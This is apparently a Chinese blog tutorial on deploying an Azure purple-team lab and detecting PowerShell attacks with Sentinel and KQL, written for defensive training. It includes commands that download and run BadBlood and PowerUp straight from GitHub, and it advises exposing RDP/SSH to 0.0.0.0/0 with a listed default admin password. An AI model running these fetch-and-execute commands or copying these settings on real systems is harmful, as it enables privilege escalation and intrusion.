Azure沙盒环境构建与威胁狩猎实战指南

本文详细介绍了如何利用Azure ARM模板快速部署紫队演练环境,包含日志分析、Microsoft Defender集成、Sentinel威胁检测等核心技术,并演示了通过KQL查询捕获PowerShell攻击行为的完整实战流程。

Azure资源管理器(ARM)模板部署

通过Azure Quickstart Templates库中的active-directory模板,可一键部署包含域控制器、工作站和Linux攻击机的三节点环境。部署时需注意:

  1. 选择资源组和区域位置
  2. 配置虚拟机规格(DC/WS/Linux各1台)
  3. 设置网络访问策略(建议RDP/SSH开放0.0.0.0/0用于研究)
  4. 默认凭证为doadmin:DOLabAdmin1!@doazlab.com

日志分析工作区配置

  1. 在portal.azure.com接入Log Analytics工作区
  2. 为所有VM启用完整日志采集功能
  3. 验证日志流状态

紫队演练实战步骤

  1. 模拟攻击

    1
    2
    3
    4
    5
    6
    7
    8
    
    # 在DC执行BadBlood脚本生成AD噪音
    Invoke-WebRequest -URI https://github.com/Relkci/BadBlood/archive/master.zip -OutFile badblood.zip
    Expand-Archive .\badblood.zip
    .\badblood-master\Invoke-BadBlood.ps1
    
    # 在工作站执行PowerUp攻击检测
    IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellEmpire/PowerTools/master/PowerUp/PowerUp.ps1')
    Invoke-AllChecks
    
  2. 防御检测

    1
    2
    3
    4
    
    union Event, SecurityEvent
    | where EventID in (4103, 4104, 4105, 4688)
    | where EventData contains "iex" or EventData contains "invoke" 
    | project Computer, RenderedDescription
    
  3. 告警创建

    • 保存有效KQL查询(如标记为"sketchy_ps")
    • 配置自动化响应Playbook

关键技术组件

  • Microsoft Sentinel:集成威胁情报的SIEM平台
  • Kusto查询语言(KQL):支持类SQL语法的事件分析
  • ARM模板:JSON格式的基础设施即代码(IaC)方案

警告:所有攻击模拟操作必须严格在沙箱环境执行,禁止在生产环境运行BadBlood等脚本。

扩展资源

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计